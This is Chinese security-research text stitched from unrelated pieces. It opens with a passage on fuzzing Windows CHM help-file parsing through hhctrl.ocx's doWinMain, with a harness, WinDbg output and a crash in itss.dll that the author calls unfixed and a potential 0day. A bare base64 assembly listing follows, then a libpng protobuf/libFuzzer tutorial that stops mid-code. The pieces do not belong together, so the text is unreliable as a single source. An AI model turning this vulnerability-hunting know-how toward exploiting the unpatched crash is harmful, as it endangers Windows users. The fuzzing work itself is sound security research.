初始化我一开始不知道会特别耗时的,看了我们dicord
群里symeon的文章发现原来是耗时的啊,所以我打算试着patch
掉这部分代码,看看有没有效果
保存一下,之后使用这个被patch
的hhctrl.ocx
测试,最后的结果让我失望了,速度感觉最多也就提升了0.1
,对我来说没啥卵用啊。看样还是姿势不太对,而且这种方式有个弊端,不停的弹出窗口,很容易导致windows
各种紊乱,出现奇奇怪怪的bug。比如vscode
会不停崩溃
具体原理呢,我作为一个菜鸟呢,也不懂,所以不到万不得已,不要使用一直弹窗的fuzz
方式
根据上面的测试,无论是否patch
掉com
调用,都依然会建立窗口,所以下一步看看能否使用命令行的方式调用chm
解析,经过搜索发现,hh.exe
还真有命令行调用方式
hh.exe -decompile <decompile_dir> <decompile_file>
我们调用一下试试,看看它是怎么做的
打开process monitor
,并执行
hh.exe -decompile test_chm D:\test.chm
可以发现,原来hh.exe
是调用doWinMain
来decompile chm
文件的,MSDN
上没有搜到doWinMain
官方定义,来看看doWinMain
反汇编代码
__int64 __fastcall doWinMain(HMODULE hModule, __int64 a2)
{
__int64 v2; // rbx
HMODULE v3; // rdi
unsigned int v4; // ebx
v2 = a2;
v3 = hModule;
if ( !dword_18008FD64 )
{
if ( OleInitialize(0i64) == 1 )
OleUninitialize();
else
dword_18008FD64 = 1;
}
dword_1800900E8 = 1;
WinSqmIncrementDWORD(0i64, 2400i64, 1i64);
v4 = sub_18002750C(v3, v2);
if ( dword_18008FD64 )
{
OleUninitialize();
dword_18008FD64 = 0;
}
return v4;
}
ida
显示有两个参数,我们结合hh.exe
的反汇编代码看一下
两个参数分别为rcx
和rdx
,第一个参数hModule
,这个好确认,回溯反汇编代码就可以知道,它利用的是LoadLibrary
的返回值,第二个参数目前不知道是什么,所以利用windbg
调试一下hh.exe
0:000> lm
start end module name
00007ff7`0bb40000 00007ff7`0bb49000 hh (deferred)
00007ffe`933e0000 00007ffe`93683000 KERNELBASE (deferred)
00007ffe`944f0000 00007ffe`9458e000 msvcrt (deferred)
00007ffe`94640000 00007ffe`946d7000 sechost (deferred)
00007ffe`94f90000 00007ffe`95033000 ADVAPI32 (deferred)
00007ffe`952b0000 00007ffe`95362000 KERNEL32 (deferred)
00007ffe`953f0000 00007ffe`95510000 RPCRT4 (deferred)
00007ffe`95780000 00007ffe`95970000 ntdll (pdb symbols) c:\symbols\ntdll.pdb\0C2E19EA1901E9B82E4567D2D21E56D21\ntdll.pdb
0:000> bu hh+0x1670
0:000> g
Breakpoint 0 hit
hh+0x1670:
00007ff7`0bb41670 ff151a1c0000 call qword ptr [hh+0x3290 (00007ff7`0bb43290)] ds:00007ff7`0bb43290={ntdll!LdrpDispatchUserCallTarget (00007ffe`9580c590)}
0:000> dps rdx
000001d4`b54c3d92 69706d6f`6365642d
000001d4`b54c3d9a 65745c3a`4420656c
000001d4`b54c3da2 44206d68`635f7473
000001d4`b54c3daa 632e7473`65745c3a
000001d4`b54c3db2 abababab`ab006d68
000001d4`b54c3dba abababab`abababab
000001d4`b54c3dc2 feeefeee`feababab
000001d4`b54c3dca 0000feee`feeefeee
000001d4`b54c3dd2 00000000`00000000
000001d4`b54c3dda feee0000`00000000
000001d4`b54c3de2 c660feee`feeefeee
000001d4`b54c3dea 00003000`61eda2de
000001d4`b54c3df2 00000000`00000000
000001d4`b54c3dfa 00000000`00000000
000001d4`b54c3e02 00000000`00000000
000001d4`b54c3e0a 00000000`00000000
0:000> dc rdx
000001d4`b54c3d92 6365642d 69706d6f 4420656c 65745c3a -decompile D:\te
000001d4`b54c3da2 635f7473 44206d68 65745c3a 632e7473 st_chm D:\test.c
000001d4`b54c3db2 ab006d68 abababab abababab abababab hm..............
000001d4`b54c3dc2 feababab feeefeee feeefeee 0000feee ................
000001d4`b54c3dd2 00000000 00000000 00000000 feee0000 ................
000001d4`b54c3de2 feeefeee c660feee 61eda2de 00003000 ......`....a.0..
000001d4`b54c3df2 00000000 00000000 00000000 00000000 ................
000001d4`b54c3e02 00000000 00000000 00000000 00000000 ................
rdx
存储命令行参数,由此编写doWinMain
的harness code
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <Windows.h>
#include <HtmlHelp.h>
typedef int(*PFN_DoWinMain)(HMODULE, const char *);
int main(int argc, char **argv)
{
if (argc != 2) {
printf("Usage: %s input_file\n", argv[0]);
return 1;
}
HMODULE hLibHH = NULL;
PFN_DoWinMain pfnDoWinMain = NULL;
hLibHH = LoadLibraryA("C:\\Windows\\system32\\hhctrl.ocx");
if (hLibHH == NULL)
return 2;
pfnDoWinMain = (PFN_DoWinMain)GetProcAddress(hLibHH, "doWinMain");
std::string chCommandLine = "-decompile test_chm ";
chCommandLine += std::string(argv[1]);
if (pfnDoWinMain != NULL)
pfnDoWinMain(hLibHH, chCommandLine.c_str());
return 0;
}
编译,运行,之后看看效果
十多分钟可能就会出现crash
速度依然慢,但跟以前比较的话,速度几乎提升足足有几十倍,就这还要啥自行车呢,经过大概24小时的运行的话,你会发现明显比使用HtmlHelpA
的方式快多了,所以也发现了更多的crash
crash分析我基本会直接用脚本跑一下,看看跑出来了几种,看看结果
出现了很多种crash
,随便挑一个用windbg
看看
0:000> g
ModLoad: 00007fff`6de50000 00007fff`6df01000 C:\Windows\system32\hhctrl.ocx
ModLoad: 00007fff`907e0000 00007fff`9087e000 C:\WINDOWS\System32\msvcrt.dll
ModLoad: 00007fff`8ff60000 00007fff`900f4000 C:\WINDOWS\System32\USER32.dll
ModLoad: 00007fff`8ebc0000 00007fff`8ebe1000 C:\WINDOWS\System32\win32u.dll
ModLoad: 00007fff`8f750000 00007fff`8f776000 C:\WINDOWS\System32\GDI32.dll
ModLoad: 00007fff`8ec90000 00007fff`8ee24000 C:\WINDOWS\System32\gdi32full.dll
ModLoad: 00007fff`8ebf0000 00007fff`8ec8e000 C:\WINDOWS\System32\msvcp_win.dll
ModLoad: 00007fff`8fb00000 00007fff`8fba3000 C:\WINDOWS\System32\ADVAPI32.dll
ModLoad: 00007fff`90680000 00007fff`90717000 C:\WINDOWS\System32\sechost.dll
ModLoad: 00007fff`90cd0000 00007fff`90df0000 C:\WINDOWS\System32\RPCRT4.dll
ModLoad: 00007fff`90df0000 00007fff`914d5000 C:\WINDOWS\System32\SHELL32.dll
ModLoad: 00007fff`8ee30000 00007fff`8ee7a000 C:\WINDOWS\System32\cfgmgr32.dll
ModLoad: 00007fff`90c20000 00007fff`90cc9000 C:\WINDOWS\System32\shcore.dll
ModLoad: 00007fff`90880000 00007fff`90bb6000 C:\WINDOWS\System32\combase.dll
ModLoad: 00007fff`8eb40000 00007fff`8ebc0000 C:\WINDOWS\System32\bcryptPrimitives.dll
ModLoad: 00007fff`8ee80000 00007fff`8f5ff000 C:\WINDOWS\System32\windows.storage.dll
ModLoad: 00007fff`8e610000 00007fff`8e62f000 C:\WINDOWS\System32\profapi.dll
ModLoad: 00007fff`8e5a0000 00007fff`8e5ea000 C:\WINDOWS\System32\powrprof.dll
ModLoad: 00007fff`8e570000 00007fff`8e580000 C:\WINDOWS\System32\UMPDC.dll
ModLoad: 00007fff`8fd70000 00007fff`8fdc2000 C:\WINDOWS\System32\shlwapi.dll
ModLoad: 00007fff`8e580000 00007fff`8e591000 C:\WINDOWS\System32\kernel.appcore.dll
ModLoad: 00007fff`8ea20000 00007fff`8ea37000 C:\WINDOWS\System32\cryptsp.dll
ModLoad: 00007fff`8f8c0000 00007fff`8fa16000 C:\WINDOWS\System32\ole32.dll
ModLoad: 00007fff`8fe90000 00007fff`8ff54000 C:\WINDOWS\System32\OLEAUT32.dll
ModLoad: 00007fff`6feb0000 00007fff`6ff59000 C:\WINDOWS\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.18362.535_none_2a26181e466b3888\COMCTL32.dll
ModLoad: 00007fff`914f0000 00007fff`9151e000 C:\WINDOWS\System32\IMM32.DLL
ModLoad: 00007fff`8c8d0000 00007fff`8c969000 C:\WINDOWS\system32\uxtheme.dll
ModLoad: 00007fff`639e0000 00007fff`63a2b000 C:\Program Files\Listary\ListaryHook64.dll
ModLoad: 00007fff`71920000 00007fff`71985000 C:\WINDOWS\SYSTEM32\OLEACC.dll
ModLoad: 00007fff`90720000 00007fff`907c2000 C:\WINDOWS\System32\clbcatq.dll
ModLoad: 00007fff`71a90000 00007fff`71abe000 C:\Windows\System32\itss.dll
ModLoad: 00007fff`844c0000 00007fff`84696000 C:\Windows\System32\urlmon.dll
ModLoad: 00007fff`7d830000 00007fff`7dd06000 C:\Windows\System32\WININET.dll
ModLoad: 00007fff`84210000 00007fff`844b6000 C:\Windows\System32\iertutil.dll
ModLoad: 00007fff`8df50000 00007fff`8df5c000 C:\Windows\System32\CRYPTBASE.DLL
(1bdc.34b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
itss!DllGetClassObject+0x3706:
00007fff`71a9b346 488b4020 mov rax,qword ptr [rax+20h] ds:6e65746e`6f432f84=????????????????
0:000> k
# Child-SP RetAddr Call Site
00 000000ea`e0aff450 00007fff`71a9a9b2 itss!DllGetClassObject+0x3706
01 000000ea`e0aff480 00007fff`71a9b214 itss!DllGetClassObject+0x2d72
02 000000ea`e0aff4b0 00007fff`71a9b10e itss!DllGetClassObject+0x35d4
03 000000ea`e0aff4f0 00007fff`6de74963 itss!DllGetClassObject+0x34ce
04 000000ea`e0aff530 00007fff`6de75403 hhctrl!Ordinal10+0x24963
05 000000ea`e0aff7c0 00007fff`6de77811 hhctrl!Ordinal10+0x25403
06 000000ea`e0aff800 00007fff`6de774de hhctrl!doWinMain+0x391
07 000000ea`e0affbb0 00007ff7`29521226 hhctrl!doWinMain+0x5e
08 000000ea`e0affbe0 00007ff7`29521868 TestDoWinMain+0x1226
09 000000ea`e0affc80 00007fff`8fde7bd4 TestDoWinMain+0x1868
0a 000000ea`e0affcc0 00007fff`9170ced1 KERNEL32!BaseThreadInitThunk+0x14
0b 000000ea`e0affcf0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:000> !load msec_x64.dll
0:000> !exploitable
!exploitable 1.6.0.0
Exploitability Classification: UNKNOWN
Recommended Bug Title: Read Access Violation starting at itss!DllGetClassObject+0x0000000000003706 (Hash=0xb07b0e28.0xbed30cef)
一个OOB
,具体啥情况需要具体分析
当天下午,我在discord
群里提醒了大家关注一下windows help
文件格式,群里的乌克兰老哥动作比我还快,当晚出结果就提交给了MSRC
,然后被拒了,就跟我说了一声,所以我也不打算提了。反正漏洞是没有被修复的,被利用的话,那就是0day
:)
如果有老哥有新颖的攻击面,比如outlook/office
等,使MSRC
能够接受的话,可以带我一个哈
整个过程挺有意思的,作为一个菜鸡,就写个文章总结一下。其实整个过程还有有更好的fuzz
方式,不需要写什么harness code
,直接fuzz hh.exe
,使用doWinMain
作为target_method
,也可以达到目的,但上面这种方式,是我比较喜欢的,所以就详细说了一下。万一大家能有更好的方式呢,希望大家也不吝赐教,fuzz
这玩意就是越深入越有意思
祝大家挖洞愉快哈
文章已首发于安全客
EXTRN @__security_check_cookie@4:PROC
_i$ = -28 ; size = 4
_j$ = -24 ; size = 4
_k$ = -20 ; size = 4
_s$ = -16 ; size = 12
__$ArrayPad$ = -4 ; size = 4
_in$ = 8 ; size = 4
_in_len$ = 12 ; size = 4
_out$ = 16 ; size = 4
b64_encode PROC
push ebp
mov ebp, esp
sub esp, 28 ; 0000001cH
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
mov DWORD PTR _i$[ebp], 0
mov DWORD PTR _j$[ebp], 0
mov DWORD PTR _k$[ebp], 0
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN4@b64_encode
$LN2@b64_encode:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$LN4@b64_encode:
mov ecx, DWORD PTR _i$[ebp]
cmp ecx, DWORD PTR _in_len$[ebp]
jae $LN3@b64_encode
mov edx, DWORD PTR _j$[ebp]
mov eax, DWORD PTR _i$[ebp]
mov ecx, DWORD PTR _in$[ebp]
mov eax, DWORD PTR [ecx+eax*4]
mov DWORD PTR _s$[ebp+edx*4], eax
mov ecx, DWORD PTR _j$[ebp]
add ecx, 1
mov DWORD PTR _j$[ebp], ecx
cmp DWORD PTR _j$[ebp], 3
jne $LN5@b64_encode
mov edx, 4
imul eax, edx, 0
mov ecx, DWORD PTR _s$[ebp+eax]
shr ecx, 2
mov edx, DWORD PTR _out$[ebp]
add edx, DWORD PTR _k$[ebp]
mov al, BYTE PTR ?b64_chr@@3PAEA[ecx]
mov BYTE PTR [edx], al
mov ecx, 4
imul edx, ecx, 0
mov eax, DWORD PTR _s$[ebp+edx]
and eax, 3
shl eax, 4
mov ecx, 4
shl ecx, 0
mov edx, DWORD PTR _s$[ebp+ecx]
and edx, 240 ; 000000f0H
shr edx, 4
mov ecx, DWORD PTR _out$[ebp]
add ecx, DWORD PTR _k$[ebp]
mov dl, BYTE PTR ?b64_chr@@3PAEA[eax+edx]
mov BYTE PTR [ecx+1], dl
mov eax, 4
shl eax, 0
mov ecx, DWORD PTR _s$[ebp+eax]
and ecx, 15 ; 0000000fH
mov edx, 4
shl edx, 1
mov eax, DWORD PTR _s$[ebp+edx]
and eax, 192 ; 000000c0H
shr eax, 6
mov edx, DWORD PTR _out$[ebp]
add edx, DWORD PTR _k$[ebp]
mov al, BYTE PTR ?b64_chr@@3PAEA[eax+ecx*4]
mov BYTE PTR [edx+2], al
mov ecx, 4
shl ecx, 1
mov edx, DWORD PTR _s$[ebp+ecx]
and edx, 63 ; 0000003fH
mov eax, DWORD PTR _out$[ebp]
add eax, DWORD PTR _k$[ebp]
mov cl, BYTE PTR ?b64_chr@@3PAEA[edx]
mov BYTE PTR [eax+3], cl
mov DWORD PTR _j$[ebp], 0
mov edx, DWORD PTR _k$[ebp]
add edx, 4
mov DWORD PTR _k$[ebp], edx
$LN5@b64_encode:
jmp $LN2@b64_encode
$LN3@b64_encode:
cmp DWORD PTR _j$[ebp], 0
je $LN6@b64_encode
cmp DWORD PTR _j$[ebp], 1
jne SHORT $LN7@b64_encode
mov eax, 4
shl eax, 0
mov DWORD PTR _s$[ebp+eax], 0
$LN7@b64_encode:
mov ecx, 4
imul edx, ecx, 0
mov eax, DWORD PTR _s$[ebp+edx]
shr eax, 2
mov ecx, DWORD PTR _out$[ebp]
add ecx, DWORD PTR _k$[ebp]
mov dl, BYTE PTR ?b64_chr@@3PAEA[eax]
mov BYTE PTR [ecx], dl
mov eax, 4
imul ecx, eax, 0
mov edx, DWORD PTR _s$[ebp+ecx]
and edx, 3
shl edx, 4
mov eax, 4
shl eax, 0
mov ecx, DWORD PTR _s$[ebp+eax]
and ecx, 240 ; 000000f0H
shr ecx, 4
mov eax, DWORD PTR _out$[ebp]
add eax, DWORD PTR _k$[ebp]
mov cl, BYTE PTR ?b64_chr@@3PAEA[edx+ecx]
mov BYTE PTR [eax+1], cl
cmp DWORD PTR _j$[ebp], 2
jne SHORT $LN8@b64_encode
mov edx, 4
shl edx, 0
mov eax, DWORD PTR _s$[ebp+edx]
and eax, 15 ; 0000000fH
mov ecx, DWORD PTR _out$[ebp]
add ecx, DWORD PTR _k$[ebp]
mov dl, BYTE PTR ?b64_chr@@3PAEA[eax*4]
mov BYTE PTR [ecx+2], dl
jmp SHORT $LN9@b64_encode
$LN8@b64_encode:
mov eax, DWORD PTR _out$[ebp]
add eax, DWORD PTR _k$[ebp]
mov BYTE PTR [eax+2], 61 ; 0000003dH
$LN9@b64_encode:
mov ecx, DWORD PTR _out$[ebp]
add ecx, DWORD PTR _k$[ebp]
mov BYTE PTR [ecx+3], 61 ; 0000003dH
mov edx, DWORD PTR _k$[ebp]
add edx, 4
mov DWORD PTR _k$[ebp], edx
$LN6@b64_encode:
mov eax, DWORD PTR _out$[ebp]
add eax, DWORD PTR _k$[ebp]
mov BYTE PTR [eax], 0
mov eax, DWORD PTR _k$[ebp]
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
b64_encode ENDP
EXTRN @__security_check_cookie@4:PROC
_j$ = -32 ; size = 4
_i$ = -28 ; size = 4
_k$ = -24 ; size = 4
_s$ = -20 ; size = 16
__$ArrayPad$ = -4 ; size = 4
_in$ = 8 ; size = 4
_in_len$ = 12 ; size = 4
_out$ = 16 ; size = 4
b64_decode PROC
push ebp
mov ebp, esp
sub esp, 32 ; 00000020H
mov eax, DWORD PTR ___security_cookie
xor eax, ebp
mov DWORD PTR __$ArrayPad$[ebp], eax
mov DWORD PTR _i$[ebp], 0
mov DWORD PTR _j$[ebp], 0
mov DWORD PTR _k$[ebp], 0
mov DWORD PTR _i$[ebp], 0
jmp SHORT $LN4@b64_decode
$LN2@b64_decode:
mov eax, DWORD PTR _i$[ebp]
add eax, 1
mov DWORD PTR _i$[ebp], eax
$LN4@b64_decode:
mov ecx, DWORD PTR _i$[ebp]
cmp ecx, DWORD PTR _in_len$[ebp]
jae $LN3@b64_decode
mov edx, DWORD PTR _in$[ebp]
add edx, DWORD PTR _i$[ebp]
movzx eax, BYTE PTR [edx]
push eax
call ?b64_int@@YAII@Z
add esp, 4
mov ecx, DWORD PTR _j$[ebp]
mov DWORD PTR _s$[ebp+ecx*4], eax
mov edx, DWORD PTR _j$[ebp]
add edx, 1
mov DWORD PTR _j$[ebp], edx
cmp DWORD PTR _j$[ebp], 4
jne $LN5@b64_decode
mov eax, 4
imul ecx, eax, 0
mov edx, DWORD PTR _s$[ebp+ecx]
mov eax, 4
shl eax, 0
mov ecx, DWORD PTR _s$[ebp+eax]
and ecx, 48 ; 00000030H
shr ecx, 4
lea edx, DWORD PTR [ecx+edx*4]
mov eax, DWORD PTR _k$[ebp]
mov ecx, DWORD PTR _out$[ebp]
mov DWORD PTR [ecx+eax*4], edx
mov edx, 4
shl edx, 1
cmp DWORD PTR _s$[ebp+edx], 64 ; 00000040H
je SHORT $LN6@b64_decode
mov eax, 4
shl eax, 0
mov ecx, DWORD PTR _s$[ebp+eax]
and ecx, 15 ; 0000000fH
shl ecx, 4
mov edx, 4
shl edx, 1
mov eax, DWORD PTR _s$[ebp+edx]
and eax, 60 ; 0000003cH
shr eax, 2
add ecx, eax
mov edx, DWORD PTR _k$[ebp]
mov eax, DWORD PTR _out$[ebp]
mov DWORD PTR [eax+edx*4+4], ecx
mov ecx, 4
imul edx, ecx, 3
cmp DWORD PTR _s$[ebp+edx], 64 ; 00000040H
je SHORT $LN8@b64_decode
mov eax, 4
shl eax, 1
mov ecx, DWORD PTR _s$[ebp+eax]
and ecx, 3
shl ecx, 6
mov edx, 4
imul eax, edx, 3
add ecx, DWORD PTR _s$[ebp+eax]
mov edx, DWORD PTR _k$[ebp]
mov eax, DWORD PTR _out$[ebp]
mov DWORD PTR [eax+edx*4+8], ecx
mov ecx, DWORD PTR _k$[ebp]
add ecx, 3
mov DWORD PTR _k$[ebp], ecx
jmp SHORT $LN9@b64_decode
$LN8@b64_decode:
mov edx, DWORD PTR _k$[ebp]
add edx, 2
mov DWORD PTR _k$[ebp], edx
$LN9@b64_decode:
jmp SHORT $LN7@b64_decode
$LN6@b64_decode:
mov eax, DWORD PTR _k$[ebp]
add eax, 1
mov DWORD PTR _k$[ebp], eax
$LN7@b64_decode:
mov DWORD PTR _j$[ebp], 0
$LN5@b64_decode:
jmp $LN2@b64_decode
$LN3@b64_decode:
mov eax, DWORD PTR _k$[ebp]
mov ecx, DWORD PTR __$ArrayPad$[ebp]
xor ecx, ebp
call @__security_check_cookie@4
mov esp, ebp
pop ebp
ret 0
b64_decode ENDP
_ch$ = 8 ; size = 4
b64_int PROC ; 这个变形的话,可以通过打表解决!注意这种思维!
push ebp
mov ebp, esp
cmp DWORD PTR _ch$[ebp], 43 ; 0000002bH
jne SHORT $LN2@b64_int
mov eax, 62 ; 0000003eH
jmp SHORT $LN1@b64_int
$LN2@b64_int:
cmp DWORD PTR _ch$[ebp], 47 ; 0000002fH
jne SHORT $LN3@b64_int
mov eax, 63 ; 0000003fH
jmp SHORT $LN1@b64_int
$LN3@b64_int:
cmp DWORD PTR _ch$[ebp], 61 ; 0000003dH
jne SHORT $LN4@b64_int
mov eax, 64 ; 00000040H
jmp SHORT $LN1@b64_int
$LN4@b64_int:
cmp DWORD PTR _ch$[ebp], 47 ; 0000002fH
jbe SHORT $LN5@b64_int
cmp DWORD PTR _ch$[ebp], 58 ; 0000003aH
jae SHORT $LN5@b64_int
mov eax, DWORD PTR _ch$[ebp]
add eax, 4
jmp SHORT $LN1@b64_int
$LN5@b64_int:
cmp DWORD PTR _ch$[ebp], 64 ; 00000040H
jbe SHORT $LN6@b64_int
cmp DWORD PTR _ch$[ebp], 91 ; 0000005bH
jae SHORT $LN6@b64_int
mov eax, DWORD PTR _ch$[ebp]
sub eax, 65 ; 00000041H
jmp SHORT $LN1@b64_int
$LN6@b64_int:
cmp DWORD PTR _ch$[ebp], 96 ; 00000060H
jbe SHORT $LN7@b64_int
cmp DWORD PTR _ch$[ebp], 123 ; 0000007bH
jae SHORT $LN7@b64_int
mov eax, DWORD PTR _ch$[ebp]
sub eax, 71 ; 00000047H
jmp SHORT $LN1@b64_int
$LN7@b64_int:
xor eax, eax
$LN1@b64_int:
pop ebp
ret 0
b64_int ENDP
前段时间谷歌出了个文章Structure-Aware Fuzzing with libFuzzer,其中说到了利用protobuf
来构建fuzzer
来fuzzing libpng
库,并且给出了现成的libpng-proto
的测试样例代码。
中文目前没有搜到如何利用这种方式来写fuzzer
的文章,
所以自己就分析一下这种构建fuzzer
的方法,作为一个fuzzing
小白就当学习了
文章主要通过三步来完成整个fuzzing
过程
1. protobuf简单介绍
2. 利用protobuf构建png数据
3. 利用libfuzzer引擎测试生成的数据
Protocol Buffers
(简称Protobuf
) ,是Google
出品的序列化框架,与开发语言无关,和平台无关,具有良好的可扩展性。Protobuf
和所有的序列化框架一样,都可以用于数据存储、通讯协议。
废话不多说,直接上测试案例,简化一下官方给的例子测试一下test.proto
,其中定义了一个Person
的数据结构
syntax = "proto2";
package tutorial;
message Person {
required string name = 1;
required int32 id = 2;
optional string email = 3;
}
编译
protoc --cpp_out=./ ./test.proto
生成
其实就是protobuf
定义数据结构,之后通过编译器生成特定类型数据结构比如c++/python/php
等
首先来看一下png
图片的数据结构
+------------+
| 署名域 |
+------------+
| IHDR |
+------------+
| IDATs/other|
+------------+
| IEND |
+------------+
来看一下官方文档给的结构
结构1
结构2
再来看看谷歌给出的proto
syntax = "proto2";
// Very simple proto description of the PNG format,
// described at https://en.wikipedia.org/wiki/Portable_Network_Graphics
message IHDR {
required uint32 width = 1;
required uint32 height = 2;
required uint32 other1 = 3;
required uint32 other2 = 4; // Only 1 byte used.
}
message PLTE {
required bytes data = 1;
}
message IDAT {
required bytes data = 1;
}
message iCCP {
required bytes data = 2;
}
message OtherChunk {
oneof type {
uint32 known_type = 1;
uint32 unknown_type = 2;
}
required bytes data = 3;
}
message PngChunk {
oneof chunk {
PLTE plte = 1;
IDAT idat = 2;
iCCP iccp = 3;
OtherChunk other_chunk = 10000;
}
}
message PngProto {
required IHDR ihdr = 1;
repeated PngChunk chunks = 2;
}
// package fuzzer_examples;
基本简单囊括了两种结构,现在来编译生成
protoc --cpp_out=./ ./png_fuzz_proto.proto
结果
现在利用protobuf
生成了png
构成的数据结构,现在需要做的大概可以分为两部分
1. 读取png数据并利用protobuf读取并做更改
2. 利用libfuzzer引擎做fuzzing测试
其实第一部分,我个人理解就是在自己写一个整套fuzzer
了,来看看具体操作
// Chunk is written as:
// * 4-byte length
// * 4-byte type
// * the data itself
// * 4-byte crc (of type and data)
static void WriteChunk(std::stringstream &out, const char *type,
const std::string &chunk, bool compress = false)
{
std::string compressed;
const std::string *s = &chunk;
if (compress)
{
compressed = Compress(chunk);
s = &compressed;
}
uint32_t len = s->size();
uint32_t crc = crc32(crc32(0, (const unsigned char *)type, 4),
(const unsigned char *)s->data(), s->size());
WriteInt(out, len);
out.write(type, 4);
out.write(s->data(), s->size());
WriteInt(out, crc);
}
// 将proto 做更改后转化为png数据
std::string ProtoToPng(const PngProto &png_proto)
{
std::stringstream all;
const unsigned char header[] = {0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a};
all.write((const char *)header, sizeof(header));
std::stringstream ihdr_str;
auto &ihdr = png_proto.ihdr();
// Avoid large images.
// They may have interesting bugs, but OOMs are going to kill fuzzing.
uint32_t w = std::min(ihdr.width(), 4096U);
uint32_t h = std::min(ihdr.height(), 4096U);
WriteInt(ihdr_str, w);
WriteInt(ihdr_str, h);
WriteInt(ihdr_str, ihdr.other1());
WriteByte(ihdr_str, ihdr.other2());
WriteChunk(all, "IHDR", ihdr_str.str());
// 写入各个chunk
for (size_t i = 0, n = png_proto.chunks_size(); i < n; i++)
{
auto &chunk = png_proto.chunks(i);
if (chunk.has_plte())
{
WriteChunk(all, "PLTE", chunk.plte().data());
}
else if (chunk.has_idat())
{
WriteChunk(all, "IDAT", chunk.idat().data(), true);
}
else if (chunk.has_iccp())
{
std::stringstream iccp_str;
iccp_str << "xyz"; // don't fuzz iCCP name field.
WriteByte(iccp_str, 0);
WriteByte(iccp_str, 0);
auto compressed_data = Compress(chunk.iccp().data());
iccp_str.write(compressed_data.data(), compressed_data.size());
WriteChunk(all, "iCCP", iccp_str.str());
}
else if (chunk.has_other_chunk())
{
auto &other_chunk = chunk.other_chunk();
char type[5] = {0};
if (other_chunk.has_known_type())
{
static const char *known_chunks[] = {
"bKGD",
"cHRM",
"dSIG",
"eXIf",
"gAMA",
"hIST",
"iCCP",
"iTXt",
"pHYs",
"sBIT",
"sPLT",
"sRGB",
"sTER",
"tEXt",
"tIME",
"tRNS",
"zTXt",
"sCAL",
"pCAL",
"oFFs",
};
size_t known_chunks_size =
sizeof(known_chunks) / sizeof(known_chunks[0]);
size_t chunk_idx = other_chunk.known_type() % known_chunks_size;
memcpy(type, known_chunks[chunk_idx], 4);
}
else if (other_chunk.has_unknown_type())
{
uint32_t unknown_type_int = other_chunk.unknown_type();
memcpy(type, &unknown_type_int, 4);
}
else
{
continue;
}
type[4] = 0;
WriteChunk(all, type, other_chunk.data());
}
}
WriteChunk(all, "IEND", "");
std::string res = all.str();
if (const char *dump_path = getenv("PROTO_FUZZER_DUMP_PATH"))
{
// With libFuzzer binary run this to generate a PNG file x.png:
// PROTO_FUZZER_DUMP_PATH=x.png ./a.out proto-input
std::ofstream of(dump_path);
of.write(res.data(), res.size());
}
return res;
}
到这里第一部分,即fuzzer
部分算是完成了,现在缺少的是使用libfuzzer
进行fuzzing
的代码
#define PNG_INTERNAL
#include "png.h"
#define PNG_CLEANUP \
if(png_handler.png_ptr) \
{ \
if (png_handler.row_ptr) \
png_free(png_handler.png_ptr, png_handler.row_ptr); \
if (png_handler.end_info_ptr) \
png_destroy_read_struct(&png_handler.png_ptr, &png_handler.info_ptr,\
&png_handler.end_info_ptr); \
else if (png_handler.info_ptr) \
png_destroy_read_struct(&png_handler.png_ptr, &png_handler.info_ptr,\
nullptr); \
else \
png_destroy_read_struct(&png_handler.png_ptr, nullptr, nullptr); \
png_handler.png_ptr = nullptr; \
png_handler.row_ptr = nullptr; \
png_handler.info_ptr = nullptr; \
png_handler.end_info_ptr = nullptr; \
}
struct BufState {
const uint8_t* data;
size_t bytes_left;
};
struct PngObjectHandler {
png_infop info_ptr = nullptr;
png_structp png_ptr = nullptr;
png_infop end_info_ptr = nullptr;
png_voidp row_ptr = nullptr;
BufState* buf_state = nullptr;
~PngObjectHandler() {
if (row_ptr)
png_free(png_ptr, row_ptr);
if (end_info_ptr)
png_destroy_read_struct(&png_ptr, &info_ptr, &end_info_ptr);
else if (info_ptr)
png_destroy_read_struct(&png_ptr, &info_ptr, nullptr);
else
png_destroy_read_struct(&png_ptr, nullptr, nullptr);
delete buf_state;
}
};
void user_read_data(png_structp png_ptr, png_bytep data, size_t length) {
BufState* buf_state = static_cast<BufState*>(png_get_io_ptr(png_ptr));
if (length > buf_state->bytes_left) {
png_error(png_ptr, "read error");
}
memcpy(data, buf_state->data, length);
buf_state->bytes_left -= length;
buf_state->data += length;
}
static const int kPngHeaderSize = 8;
// Entry point for LibFuzzer.
// Roughly follows the libpng book example:
// http://www.libpng.org/pub/png/book/chapter13.html
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
if (size < kPngHeaderSize) {
return 0;
}
std::vector<unsigned char> v(data, data + size);
if (png_sig_cmp(v.data(), 0, kPngHeaderSize)) {
// not a PNG.
return 0;
}
PngObjectHandler png_handler;
png_handler.png_ptr = nullptr;
png_handler.row_ptr = nullptr;
png_handler.info_ptr = nullptr;
png_handler.end_info_ptr = nullptr;
png_handler.png_ptr = png_create_read_struct
(PNG_LIBPNG_VER_STRING, nullptr, nullptr, nullptr);
if (!png_handler.png_ptr) {
return 0;
}
png_handler.info_ptr = png_create_info_struct(png_handler.png_ptr);
if (!png_handler.info_ptr) {
PNG_CLEANUP
return 0;
}
png_handler.end_info_ptr = png_create_info_struct(png_handler.png_ptr);
if (!png_handler.end_info_ptr) {
PNG_CLEANUP
return 0;
}
png_set_crc_action(png_handler.png_ptr, PNG_CRC_QUIET_USE, PNG_CRC_QUIET_USE);
#ifdef PNG_IGNORE_ADLER32
png_set_option(png_handler.png_ptr, PNG_IGNORE_ADLER32, PNG_OPTION_ON);
#endif
// Setting up reading from buffer.
png_handler.buf_state = new BufState();
png_handler.buf_state->data = data + kPngHeaderSize;
png_handler.buf_state->bytes_left = size - kPngHeaderSize;
png_set_read_fn(png_handler.png_ptr, png_handler.buf_state, user_read_data);
